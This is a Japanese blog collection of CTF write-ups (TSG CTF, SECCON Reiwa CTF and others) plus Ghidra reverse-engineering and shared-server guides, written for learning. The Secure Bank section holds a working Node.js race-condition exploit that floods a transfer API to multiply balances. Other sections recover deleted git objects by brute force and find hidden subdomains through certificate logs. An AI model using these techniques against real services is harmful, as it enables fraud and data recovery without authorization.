$ make shellcode.bin.pkt $ chmod +x ./solve.bash $ ./solve.bash pid: 7626 try: 200 OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls}
FLAG
OOO{so many bits, so many syscalls}
[FIRST CONTACT] CANT_EVEN_UNPLUG_IT
問題
You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…
添付ファイル(HINT)
Hint: these are HTTPS sites. Who is publicly and transparently logging the info you need? Just in case: all info is freely accessible, no subscriptions are necessary. The names cannot really be guessed.
解答例
問題文を要約すると、以下の通りになります。
- HTML5で書かれたWebサイトを作成した。
- military-grade-secrets.devのサブドメインで証明書を作成した。
- 名前が気に入らなかったので、新しいドメイン名を取得した。
- Webサイトの公開を停止した。
military-grade-secrets.devのサブドメインで証明書を作成しているということなので、証明書の登録を確認しました。 今回は、Check website securityというサービスを利用して検索しました。
「military-grade-secrets.dev」と入力し、「Include subdomains」にチェックを入れて検索します。 以下の2つのサブドメインで登録されていることが確認できました。
- secret-storage.military-grade-secrets.dev
- now.under.even-more-militarygrade.pw.military-grade-secrets.dev
どちらか片方にcurlで接続してみます。
$ curl https://secret-storage.military-grade-secrets.dev <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="https://forget-me-not.even-more-militarygrade.pw">here</A>. </BODY></HTML>
https://forget-me-not.even-more-militarygrade.pw にリダイレクトされるようになっていました。 curlで接続してみましたが、今度は接続できませんでした。 問題文にあるようにサーバは既に切断されているようです。
Finally he got scared and unplugged the server.
$ curl https://forget-me-not.even-more-militarygrade.pw curl: (7) Failed to connect to forget-me-not.even-more-militarygrade.pw port 443: Connection refused
ウェブアーカイブに残っているかもしれないと、アクセスしてみるとフラグの書かれたページを表示することができました。
http://web.archive.org/web/20190309234647/http://forget-me-not.even-more-militarygrade.pw/
FLAG
OOO{DAMNATIO_MEMORIAE}
TSG CTF Writeup
TSG CTF について
東京大学のコンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)
1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。
TSG CTF Writeup(4問)
[Warmup] Sanity Check
問題
Log in to our Discord server for TSG CTF and find the flag here:
TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。
解答例
TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。
FLAG
TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}
[Forensics] Obliterated File
問題
※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.
Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?
※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.
TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?
Difficulty Estimate: easy
$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。
$ unzip problem.zip $ cd easy_web/ $ git rev-list -n 1 HEAD -- flag 28d2b74b0c40583a87cf275f9f0cdfd55042884d $ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag $ ls README.md flag problem
ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。
$ file flag flag: zlib compressed data
しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。
require "./src/*" require "sqlite3" #require "zlib" #flag = File.open("./flag", "r") do |f| # Zlib::Reader.open(f) do |inflate| # inflate.gets_to_end # end #end flag = ENV["flag"] `rm -rf data.db` DB.open "sqlite3://./data.db" do |db| db.exec "CREATE TABLE accounts (id text primary key, pass text);" db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');" end Kemal.config.env = "production" Kemal::Session.config.secret = ENV["session_secret"]
コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。
まずは、main.crを下記の通りに書き換えます。
require "zlib" flag = File.open("../flag", "r") do |f| Zlib::Reader.open(f) do |inflate| inflate.gets_to_end end end print flag print "\n"
下記コマンドを実行すると、フラグが表示されます。
$ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
[Forensics] Obliterated File Again
問題
I realized that the previous command had a mistake. It should be right this time...?
さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?
Difficulty Estimate: easy - medium
$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
Obliterated File と同様の手法では、flagファイルを復元することができませんでした。
そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx
コマンドを実行し、flagファイルを復元する作戦を取りました。
- ハッシュ値を4桁分だけ求める。
- git cat-file -p
を実行して、ファイルに書き出す。 - 上記を繰り返す。
# brute_git_catfile.py import subprocess from tqdm import tqdm for i in tqdm(range(0xFFFF)): hash4 = hex(i).split('x')[1].zfill(4) try: subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True) except: pass
上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。
$ python brute_git_catfile.py 100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s] $ grep flag git_catfile.log | grep blob 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag 100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8 flag $ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag
復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。
$ file flag flag: zlib compressed data
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
[Web] Secure Bank(当日は間に合いませんでした)
当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。
問題
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!
ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。
Difficulty estimate: Easy
require 'digest/sha1' require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' STRETCH = 1000 LIMIT = 1000 class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS account ( user TEXT PRIMARY KEY, pass TEXT, balance INTEGER ); SQL use Rack::PostBodyContentTypeParser enable :sessions def err(code, message) [code, json({message: message})] end not_found do redirect '/index.html', 302 end get '/source' do content_type :text IO.binread __FILE__ end get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end post '/api/balance' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user) row = res.next res.close return err(401, 'login first') unless row json({balance: row[0]}) end post '/api/register' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT sleep 1 hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} begin DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass rescue SQLite3::ConstraintException return err(422, 'the username has already been taken') end return 200 end post '/api/login' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass row = res.next res.close return err(401, 'username and password did not match') unless row session[:user] = user return 200 end post '/api/logout' do session[:user] = nil return 200 end post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end end
解答例
サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。
- 別のユーザにお金を送金する。
- フラグを表示する。
- ログアウトする。
フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。
- 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
- ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
- ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
- バインドメカニズムを使用しており、SQLインジェクションができそうにない。
- 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。
送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。
2つの送金処理を同時に行う。
- user0 が user1 に1円だけ送金する。(処理x)
- user1 が user2 に全額送金する。(処理y)
現在の状態:
user0 user1 user2 100 100 100 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。
- 処理yでuser1の残高を取得する。
処理yでuser1 から user2 に 全額送金される。
現在の状態:
user0 user1 user2 100 0 200 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。
現在の状態:
user0 user1 user2 99 101 200
このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。
- 3人分のユーザを登録する。
- 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
- user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
- user1 から user2 に全額送金する。
- user0のお金がなくならないように、user2 から user0 に20円送金する。
- 同様に、user2 から user1 に全額送金する。
- 3~6を目標金額まで繰り返す。
'use strict'; const request = require('request'); const Promise = require('promise'); const async = require('async'); const await = require('await'); function register(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/register', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { resolve(body); } }); }); }; function login(user, passwd) { const headers = { 'Content-Type': 'application/json', } const options = { url: 'http://34.85.75.40:19292/api/login', method: 'POST', headers: headers, json: { "user": user, "pass": passwd } } return new Promise((resolve, reject) => { request(options, (error, response, body) => { if (error) { reject(error); } else { const cookie = response.headers['set-cookie'][0].split(';')[0]; resolve(cookie); } }); }); }; function balance(cookie_string) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/balance', method: 'POST', headers: headers, json: {} } return new Promise((resolve, reject) => { request(options, function (error, response, body) { if (body) { resolve(body.balance); } else if (error) { reject(error); } }); }); } function transfer(cookie_string, target, amount) { const headers = { 'Content-Type': 'application/json', 'Cookie': cookie_string, } const options = { url: 'http://34.85.75.40:19292/api/transfer', method: 'POST', headers: headers, json: { 'target': target, 'amount': amount.toString(10) } } request(options, function (error, response, body) { if (error) console.log(error); }); } function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } (async () => { const users = ['bank1', 'bank2', 'bank3']; const passwd = 'aaaaaa'; const cookies = []; const keepcount = 20; for (let i = 0; i < users.length; i++) { await register(users[i], passwd); let cookie = await login(users[i], passwd); cookies.push(cookie); } while (true) { // 現在の残高取得 const balances = []; for (let i = 0; i < users.length; i++) { const money = await balance(cookies[i]); balances.push(money); console.log(users[i], money); } // 全額を送金するユーザ(users[1])に1円ずつ送金する for (let i = 0; i < keepcount; i++) transfer(cookies[0], users[1], 1); // 非同期 // 全額をusers[2]に送金する await transfer(cookies[1], users[2], balances[1]); balances[1] = await balance(cookies[2]); if (balances[1] >= 10000000000) break; // 送金したお金を元に戻す await transfer(cookies[2], users[0], keepcount); await sleep(1000); await transfer(cookies[2], users[1], balances[1] - keepcount); console.log('---------------'); } })();
必要なパッケージのインストールと実行結果
$ npm install request promise async await $ node secure_bank.js # 省略 --------------- bank1 2 bank2 20 bank3 5938478442 --------------- bank1 20 bank2 1942115006 bank3 3996363441 --------------- bank1 21 bank2 1942115015 bank3 5938478427 --------------- bank1 21 bank2 5938478445 bank3 3884230001 --------------- bank1 22 bank2 20 bank3 9822708426 --------------- bank1 1 bank2 3884230001 bank3 5938478445 --------------- bank1 0 bank2 3884230017 bank3 9822708426 --------------- bank1 0 bank2 9822708458 bank3 7768459998 --------------- bank1 21 bank2 20 bank3 17591168436
お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。
FLAG
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}
SECCON 令和CTF Writeup
SECCON 令和CTF について
平成最後のCTFとして、http://score-reiwa.seccon.jp/が開催されました。
平成31年4月30日(火)23:00(JST)~令和元年5月1日(水)01:00 (JST) (2時間)
※ 開始直後にサーバトラブルがあり、結局2時まで開催されていました。
私もいろいろ準備して参加しましたが、 結局チュートリアルも含めて、4問しか解くことができませんでした。 結果は、310点で78/858位でした。
SECCON 令和CTF Writeup(4問)
Misc フラグの例は?
平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。
Misc bREInWAck
問題
元号が変わる。記号も変わる。
参考: https://ja.wikipedia.org/wiki/Brainfuck
添付ファイル(flag.bw)
令和和和和和和和和和和和和和和和和「令和 和和和和令和和和和令和和和和和和和令和和 和和和和令和和平平平平平成」令和和和。令 和和和和和。成成。。平成成成成。成。令令 和和和和和和和和和和和。令和和。平平平和 和和和。令和和。和和和和。令令和和和和和 和和和和和和和。平平平和和和和和和和和和 和和和和。成成成成成成成成。令成成成成成 成成成。令令。成成成成成。成成成成成成。 令和。平平和和。令令令和和和和和和和和和 和。
解答例
令和平成「」。
の文字をBrainfuckの記号( >+<-[].
)に置き換えて、
Brainfuckのインタプリタで実行するとフラグが取得できます。
cat flag.bw | sed -e 's/令/>/g' | sed -e 's/和/+/g' | sed -e 's/平/</g' | sed -e 's/成/-/g' | sed -e 's/「/[/g' | sed -e 's/」/]/g' | sed -e 's/。/./g'
変換すると、下記のようになります。
$ sh reiwa_ctf_misc2.sh >++++++++++++++++[>+ ++++>++++>+++++++>++ ++++>++<<<<<-]>+++.> +++++.--..<----.-.>> +++++++++++.>++.<<<+ +++.>++.++++.>>+++++ +++++++.<<<+++++++++ ++++.--------.>----- ---.>>.-----.------. >+.<<++.>>>+++++++++ +.
今回は、下記のBrainfuckのインタプリタを使用しました。
Misc 零は?
問題
nc zerois-o-reiwa.seccon.jp 23615
解答例
netcatで接続すると、計算問題が表示されます。
右辺の計算結果が0になるような?を見つけていく問題のようです。
$ nc zerois-o-reiwa.seccon.jp 23615 [1/100] 0=71-? ?=71 [2/100] 0=91*71-? ?=
後半になると問題も長くなり、タイムアウト時間もあるので手動では解けそうにありません。 今回は、Pythonを使って100問解くようにプログラムを書きました。
- pwntoolsで接続して、問題を取得する。
- ?を総当たりで割り当てて、evalで計算する。
- 計算結果が0になったら、回答する。
- 上記を繰り返す。
from pwn import * p = remote('zerois-o-reiwa.seccon.jp', 23615) for count in range(100): print '--- ' + str(count) + ' ---' # get question p.readuntil('0=') question = p.readuntil('?=').split('\n')[0] print question # brute force answer = 0 while True: tmp = question result = eval(tmp.replace('?', str(answer))) if result == 0: break answer += 1 # send answer p.sendline(str(answer)); print '?=' + str(answer) p.interactive()
実行すると、下記のようになります。
$ python reiwa_ctf_misc3.py [+] Opening connection to zerois-o-reiwa.seccon.jp on port 23615: Done --- 0 --- ?-43 ?=43 --- 1 --- 60+23-? ?=83 (省略) --- 98 --- 71-92+76*30*15+56-84*68+47-65-10+79*10*61+27-94*40+34-1+36*96-29-71*73+25*89+91-52*62-52+33-6*43+9*8+62-22-45+36*13-18+52*60+16-59*57-63+83*65*64-85+48+6*56-32+57*29-74-88*90+58-42+7*86*52+58-25-57*18+22+98*90-97+89-69*29*8+51-97-63*67+20+19-54*95*18+19-52+89*55-13*33+80-54-77+?*0+39-92-340391 ?=0 --- 99 --- 55+56*0-68+32-47*78*59+59-85+45-71*73+91*90-21*25+93-15+98-27*82*99+49-48+77*73-78*80+44-13*89-67+24-60+14*31-97*75+87+30*88-33-23*28+19*35-93+29*30-22+71+75*65-33+56*54-20+59-68*81-54+9*32+16-50*5*80-34+75*15-40+51+31-90*43*18-57+46+99-59*19-80+93*89*24-33+97-39*89+40-99*72+72-14+67*88+0*?-10+330814 ?=0 [*] Switching to interactive mode Congratulations! The flag is SECCON{REIWA_is_not_ZERO_IS}. (Enter RETURN key if connection is not disconnected) [*] Got EOF while reading in interactive $
Forensic 新元号発表
問題
newera.pdfを開くと下記の画像が表示されます。
解答例
PDFをよく見ると、QRコードが隠れているように見えます。
下記のサービスを使用してPDFから画像を抽出してみました。
smallpdf.com
抽出すると、2つの画像を取得することができました。
後は適当に重ねてQRコードを読み込むとフラグが取得できます。 私は、PowerPointの機能で白を透過させて2つの画像を重ねました。
実際にQRコードを重ねてみると、以下のようになります。
Ghidraの使い方(調査まとめ)
はじめに
しばらくGhidraについて調べていたので、見つけた機能をいろいろ紹介していきます。 インストール方法やプロジェクトの共有については、別の記事を参考にしてください。
tsalvia.hatenablog.com tsalvia.hatenablog.com
公式サイトからチートシートも用意されているので、こちらも参考になります。
Ghidra Cheat Sheet
検証環境
下記の環境で検証を行いました。
- Windows 10 バージョン 1809
- OpenJDK 11.02
- Ghidra v9.0.2
解析用のサンプルプログラム
紹介するにあたって、解析サンプルとなるようなプログラムを用意しました。 このプログラムをベースに説明していきます。 正しいパスワードを入力したら、flagが取得できるようなCTF形式の簡単なプログラムを用意しました。
- 実行例
$ ./HelloGhidra Usage: ./HelloGhidra <password> $ ./HelloGhidra aaaaaaaa Incorrect password. $ ./HelloGhidra Hello_Ghidra! Congratulations! flag{Hello_Ghidra!}
コンパイル方法(今回はシンボル情報も削除しました)
$ gcc -o HelloGhidra HelloGhidra.c $ strip ./HelloGhidra
Ghidraの機能紹介
ウィンドウのレイアウト変更
各ウィンドウの青いバーをドラッグアンドドロップすることで、レイアウトを自由に変更できる。
- で別ウィンドウで表示する。
- で間に挿入する。
- でウィンドウを重ねる。
アセンブラ表示のレイアウト変更
Listingウィンドウのレイアウトは、細かく修正することができます。
Listingウィンドウの右上のをクリックすると、レイアウト編集モードに入れます。
スタックの深さを表示する
- Listingウィンドウの右上のをクリックすると、レイアウト編集モードに入ります。
- 「挿入したい場所を右クリック」→「Add Field」→「Stack Depth」をクリックする。
- 左端に「Stack Depth」が追加されました。
コードグラフの表示
「Window」→「Function Graph」もしくはをクリックすると表示されます。
スナップショットの作成
現在見ている場所をスナップショットとして別ウィンドウに保持することができます。
各ウィンドウの右上にあるをクリックすると、スナップショットを作成することができます。
関数名や型の書換え
関数名や返り値の型などを修正することができます。
「関数名を右クリック」→「Edit Function Signature」で編集ウィンドウが表示されます。
変更前
変更後
変数名の変更
ループカウンタ変数である「local_c」を「i」に書き換えてみます。
「変数(local_c)を右クリックする」→「Rename Variable」で変更できます。
変更前
変更後
数値の表示形式を変更する(例:16進数→10進数)
「Listingウィンドウの数値を右クリックする」→「Convert」で様々な形式に変換できます。
Listingウィンドウで変換した内容は、Decompileウィンドウにも反映されます。
文字列の検索(Defined Strings)
「Window」→「Defined Strings」で表示できます。
文字列の参照先にジャンプする
- 「対象の文字列をダブルクリック」すると、文字列が格納されている場所にジャンプします。
- 「ジャンプ先の文字列を右クリック」→「References」→「Show References to Address」をクリックする。
- 参照先のアドレス一覧が表示されるので、ジャンプしたい項目をダブルクリックする。
オーバービューやエントロピーの表示
「どこに何が格納されているのか」や「どういう形式なのか」を色で確認することができます。
Listingウィンドウの右上にある「Toggles overview margin displays.」をクリックする。 「Show Overview」や「Show Entropy」にチェックを入れる。
Overview
Entropy
マウスオーバーで参照先を表示する
関数名やラベルにマウスカーソルを当てると、参照先がどうなっているのかを確認することができます。
マウスオーバー機能の無効化
Listingウィンドウの右上にあるをクリックすると、 に変わり、マウスオーバーで表示する機能を無効化できる。
関数呼び出しをツリーグラフで確認する
「Window」→「Function Call Graph」で表示できます。
コメントの挿入
「コメントを挿入したい個所を右クリック」→「Comments」→「Set Pre Comment...」をクリックします。
コメント挿入用のウィンドウが表示されるのでコメントを書き込んで、「Apply」をクリックする。
コメントは、DecompileウィンドウやListingウィンドウに反映されます。
バイナリ表示(Bytes)
「Window」→「Bytes」 もしくは ボタンをクリックすると表示されます。
アスキー文字列の表示
Bytesウィンドウの右上のボタンをクリックし、 「Ascii」にチェックを入れる。
スクリプトマネージャ
Ghidraにはさまざまなスクリプトが用意されています。
「Window」→「Script Manager」もしくはで開くことができます。
Script Managerの右上のをクリックすると、ソースコードを表示することができます。
XOR変換(XorMemoryScript.java)
- XOR変換したい個所を「Bytes」ウィンドウで指定する。 マウスでドラッグすると、緑色にハイライトされます。
- 「Script Manager」を開いて、「XorMemoryScript.java」にチェックを入れます。
- 「Run Script」ボタンを押すと、スクリプトが起動します。
- 今回は、0x15でxorされていることが、Decompile結果から分かっているので、「15」と入力します。
- 「OK」を押すと、ハイライトされた箇所が「]pyyzJR}|qgt4」から「Hello_Ghidra!」に変換されていることが分かります。
ダークモード
「Edit」→「Tool Options...」→「Tool」→「Use Inverted Colors」にチェックを入れる。
※ CodeBrowserではなく、プロジェクト管理のEditメニューから設定する。
参考にしたサイト
Ghidra プロジェクトの共有方法
はじめに
Ghidraには、プロジェクトの共有機能が実装されています。 複数人で解析する場合は、この機能を使うと便利です。 ちなみにIDA Proには、デフォルトでプロジェクト共有機能がありません。 IDArlingのようなプラグインを別途導入する必要があります。
Ghidraサーバの詳細については、<Ghidraのディレクトリ>/server/svrREADME.htmlを参照してください。
また、Ghidraのインストール方法は、こちらを確認してください。
プロジェクトの共有手順
プロジェクトの共有は、下記の手順で行えます。 各項目について説明していきます。
- Ghidraサーバをインストールする
- Ghidraサーバにアクセスできるユーザを追加する
- リポジトリとプロジェクトを作成する
- 解析したファイルをリポジトリに追加する
- 別のPCからリポジトリにアクセスする
検証した環境
今回は、Linux(Debian 9)環境で試しました。Windowsの場合は、「~.bat」を実行すれば同様の動作になるはずです。
$ uname -a Linux debian 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3 (2019-02-02) x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 9.8 (stretch) Release: 9.8 Codename: stretch $ java -version openjdk version "11.0.2" 2019-01-15 OpenJDK Runtime Environment 18.9 (build 11.0.2+9) OpenJDK 64-Bit Server VM 18.9 (build 11.0.2+9, mixed mode)
1. Ghidra サーバをインストールする
プロジェクトを共有するためには、Ghidraサーバを立てる必要があります。
サーバのインストールは、<Ghidraのディレクトリ>/server/svrInstallで行えます。 これを実行すると、Ghidraサーバがインストールされ、サーバが起動します。出力の最後に「Service ghidraSvr started」と表示されれば成功です。
$ ./server/svrInstall alice password: : 省略 : Service ghidraSvr started
Ghidraサーバは、デフォルトで13100番ポートで待ち受けています。
$ ss -l | grep 13100 tcp LISTEN 0 50 *:13100 *:*
2. Ghidraサーバにアクセスできるユーザを追加する
Ghidraサーバが起動したら、次にユーザの追加を行います。 追加したユーザだけが、Gidoraサーバにアクセスすることができます。
ユーザの追加は、<Ghidraのディレクトリ>/server/svrAdmin で行えます。 デフォルトのパスワードは、「changeme」となっています。
$ ./svrAdmin -add <SID>
ユーザ追加例:
$ whoami alice $ sudo ./server/svrAdmin -add alice Using server directory: /home/alice/ghidra_9.0/repositories 1 command(s) queued.
3. リポジトリとプロジェクトを作成する
「File」→「New Project...」から新しいプロジェクトを作成します。 今回は、プロジェクトを共有したいので「Shared Project」を選択して「Next >>」をクリックします。
「Server Name:」にGhidraサーバを立てたPCのIPアドレスもしくはドメイン名を指定して、「Next >>」をクリックします。 今回は、下記の通りに設定しました。
- Server Name: → 「localhost」
- Port Number: → 「13100」(デフォルトのGidoraサーバのポート番号)
svrAdminで作成したユーザのパスワードを入力して「OK」をクリックします。 デフォルトパスワードは、「changeme」となっています。
パスワードの変更を要求されるので、「OK」をクリックします。
新しいパスワードを入力して、「OK」をクリックします。
パスワードの変更が完了しました。「OK」をクリックして次に進みます。
リポジトリ名を指定して「Next >>」をクリックします。 今回は、「mySharedProject」という名前にしました。
共有プロジェクトにアクセスできるユーザを指定して、「Next >>」をクリックします。 今回の例では、「alice」というユーザしかいないので、「Admin」権限以外選択できません。
共有プロジェクトのローカルの保存先を指定して、「Finish」をクリックします。 今回は、下記の通りに設定しました。
- Project Directory: → 「/home/alice/GhidraProjects」
- Project Name: → 「mySharedProject」
「mySharedProject」という共有プロジェクトが作成できました。
4. 解析したファイルをリポジトリに追加する
「File」→「Import File...」で解析したいファイルをインポートする。
インポートしたファイルを右クリックし、「Add to Version Control...」をクリックする。
コメントの入力欄が出てくるので、コメントを書いて「OK」をクリックする。
リポジトリにAddすると、ファイルのアイコンに緑のチェックマークが付きます。 上記の手順でリポジトリにAddしたファイルのみが共有されます。
5. 別のPCからリポジトリにアクセスする
アクセス権の割当て(ユーザ名か異なる場合のみ)
手順2で追加したユーザ以外を使ってGhidraサーバにアクセスしたい場合は、新たにユーザを追加する必要があります。
- Ghidraサーバを起動しているPCで「svrAdmin」を使用してユーザを追加します。 今回は、「bob」というユーザを追加しました。
$ sudo ./server/svrAdmin -add bob Using server directory: /home/alice/ghidra_9.0/repositories 1 command(s) queued.
「Project」→「Edit Project Access List...」をクリックします。
「bob」を選択して「Add >>」をクリックします。 次に右にある「bob」の「Read/Write」チェックボックスにチェックを入れて、「OK」をクリックします。
上記の作業により、「bob」ユーザに読書き権限を割り当てることができました。
リポジトリにアクセスする
手順3と同様に新しいプロジェクトを作成します。 今回も「Shared Project」を選択します。
「Server Name:」にGhidraサーバのIPアドレスもしくはドメイン名を指定して、「Next >>」をクリックします。 今回は、下記の通りに設定しました。
- Server Name: → 「172.16.0.2」(GhidraサーバのIPアドレス)
- Port Number: → 「13100」(デフォルトのGidoraサーバのポート番号)
bobユーザでログインすると、リポジトリ選択画面に遷移します。
手順3で作成したプロジェクト「mySharedProject」が確認できるので、選択して「Next >>」をクリックします。手順3と同様にプロジェクトのローカルの保存先を指定して「Finish」をクリックします。
手順3で追加したファイルが共有されていることが分かります。
トラブルシューティング
サポートされているJavaランタイムが見つかりませんでした。
下記のようなエラーが出る場合は、support/launch.propertiesの JAVA_HOME_OVERRIDEプロパティにJDKのディレクトリを指定してみてください。
Failed to find a supported Java runtime. Please refer to the Ghidra Installation Guide's Troubleshooting section. Failed to install Ghidra Server!
<Ghidraのディレクトリ>/support/launch.propertiesの JAVA_HOME_OVERRIDEプロパティ(5行目)の設定例
JAVA_HOME_OVERRIDE=/opt/java/jdk-11.0.2
ed: コマンドが見つかりません
下記のようなエラーが出る場合は、edコマンドをインストールしてください。
/home/analyst/ghidra_9.0/server/ghidraSvr: 行 85: ed: コマンドが見つかりません ERROR: failed to install fork_hack in server.conf
インストール方法
$ sudo apt-get install ed
svrAdminでユーザの追加ができない
下記のようなエラーが出る場合は、root権限で実行できていません。
